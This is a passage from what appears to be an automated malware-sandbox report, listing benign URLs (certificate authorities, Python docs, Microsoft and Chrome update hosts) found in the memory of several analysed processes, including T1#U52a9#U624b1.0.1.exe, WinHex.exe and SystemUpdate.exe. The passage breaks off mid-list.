Source: WinHex.exe, 0000000B.00000003.1814913258.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digi~R
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706296950.00000173A903D000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703021480.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706139679.00000173A903F000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702887018.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A903B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703440801.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706296950.00000173A9033000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1705377381.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706139679.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702755893.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1704803384.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703557945.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823292790.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1822267025.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816401316.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816198264.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1821331699.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1813354350.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1820471446.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1815198590.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706296950.00000173A903D000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703021480.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702887018.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A903B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703440801.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706296950.00000173A9033000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1705377381.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706139679.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702755893.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1704803384.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703557945.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823292790.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1822267025.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816401316.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816198264.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1821331699.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1813354350.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1820471446.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1815198590.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823942492.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0L
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703021480.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706139679.00000173A903F000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702887018.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703440801.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706296950.00000173A9033000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1705377381.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706139679.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702755893.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703557945.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823292790.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1822267025.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816401316.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816198264.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1813354350.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1815198590.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823942492.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1813594133.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823292790.000001EB0A295000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1814913258.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1850173368.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1843822452.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: svchost.exe, 00000039.00000003.2435149189.0000015985E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: svchost.exe, 00000039.00000003.2435149189.0000015985E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: svchost.exe, 00000039.00000003.2435149189.0000015985E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: svchost.exe, 00000039.00000003.2435149189.0000015985E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000039.00000003.2435149189.0000015985E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000039.00000003.2435149189.0000015985E58000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000039.00000003.2435149189.0000015985E8D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: svchost.exe, 00000039.00000003.2435149189.0000015985F47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: powershell.exe, 00000002.00000002.1882736475.0000026FBFCF2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1957310258.000002513C583000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706296950.00000173A903D000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703021480.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706139679.00000173A903F000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702887018.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A903B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703440801.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706296950.00000173A9033000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1705377381.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706139679.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702755893.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1704803384.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703557945.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823292790.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1822267025.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816401316.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816198264.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1821331699.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1813354350.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1820471446.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1815198590.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706296950.00000173A903D000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703021480.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702887018.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A903B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703440801.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706296950.00000173A9033000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1705377381.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706139679.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702755893.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1704803384.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703557945.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823292790.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1822267025.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816401316.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816198264.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1821331699.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1813354350.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1820471446.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1815198590.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823942492.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0N
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703021480.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706139679.00000173A903F000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702887018.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703440801.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706296950.00000173A9033000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1705377381.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706139679.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1702755893.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703557945.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823292790.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1822267025.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816401316.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1816198264.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1813354350.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1815198590.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823942492.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1813594133.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1823292790.000001EB0A295000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1814913258.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1850173368.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1843822452.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A903B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1704803384.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1821331699.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1820471446.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1817110616.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1817110616.000001EB0A292000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1844723692.00000245F38CD000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1846178643.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1844723692.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: powershell.exe, 00000004.00000002.1867366706.000002512C738000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1846925587.0000026FAFEA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1867366706.000002512C738000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: powershell.exe, 00000002.00000002.1846925587.0000026FAFC81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1867366706.000002512C511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.1846925587.0000026FAFEA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1867366706.000002512C738000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/wsdl/
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A903B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1704803384.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1821331699.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1820471446.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1817110616.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1817110616.000001EB0A292000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1844723692.00000245F38CD000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1846178643.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1844723692.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A903B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1704803384.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1821331699.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1820471446.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1817110616.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1817110616.000001EB0A292000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1844723692.00000245F38CD000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1846178643.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1844723692.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A903B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1703976809.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1704803384.00000173A9032000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1821331699.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1820471446.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1817110616.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1817110616.000001EB0A292000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1844723692.00000245F38CD000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1846178643.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1844723692.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: powershell.exe, 00000004.00000002.1867366706.000002512C738000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000004.00000002.1975794345.0000025144A9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.coo
Source: T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1755828370.000001F6E4452000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1755443946.000001F6E4452000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1758988977.000001F6E4452000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756154803.000001F6E4452000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/d
Source: T1#U52a9#U624b1.0.1.exe, 00000000.00000003.1706919277.00000173A9033000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000B.00000003.1825196606.000001EB0A289000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000012.00000003.1851565284.00000245F38C4000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000013.00000003.1867345702.000001D545EEE000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000013.00000003.1867589312.000001D545EEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/dev/peps/pep-0205/
Source: T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1758674190.000001F6E41F0000.00000004.00001000.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1710459219.000001F6E244D000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1829408407.000002B9E79B9000.00000004.00000020.00020000.00000000.sdmp, WinHex.exe, 0000000E.00000003.1829474776.000002B9E79CD000.00000004.00000020.00020000.00000000.sdmp, SystemUpdate.exe, 00000013.00000003.1865587018.000001D545EE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.python.org/download/releases/2.3/mro/.
Source: powershell.exe, 00000002.00000002.1846925587.0000026FAFC81000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1867366706.000002512C511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.1867366706.000002512C738000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/winsvr-2022-pshelp
Source: powershell.exe, 00000004.00000002.1957310258.000002513C583000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1957310258.000002513C583000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1957310258.000002513C583000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: svchost.exe, 00000039.00000003.2435149189.0000015985F02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: svchost.exe, 00000039.00000003.2435149189.0000015985E96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: svchost.exe, 00000039.00000003.2435149189.0000015985F02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: svchost.exe, 00000039.00000003.2435149189.0000015985EE3000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000039.00000003.2435149189.0000015985F34000.00000004.00000800.00020000.00000000.sdmp, svchost.exe, 00000039.00000003.2435149189.0000015985F47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000039.00000003.2435149189.0000015985F02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: powershell.exe, 00000004.00000002.1867366706.000002512C738000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1718087522.000001F6E2426000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1710025061.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709463356.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709298564.000001F6E2436000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709347432.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709311079.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000002.1757804161.000001F6E23E4000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709590975.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709463356.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756004944.000001F6E4403000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1756716169.000001F6E23E3000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709730001.000001F6E2402000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709285474.000001F6E243B000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709913441.000001F6E23FF000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709913441.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1709347432.000001F6E2431000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 00000001.00000003.1755741956.000001F6E23B6000.00000004.00000020.00020000.00000000.sdmp, T1#U52a9#U624b1.0.1.exe, 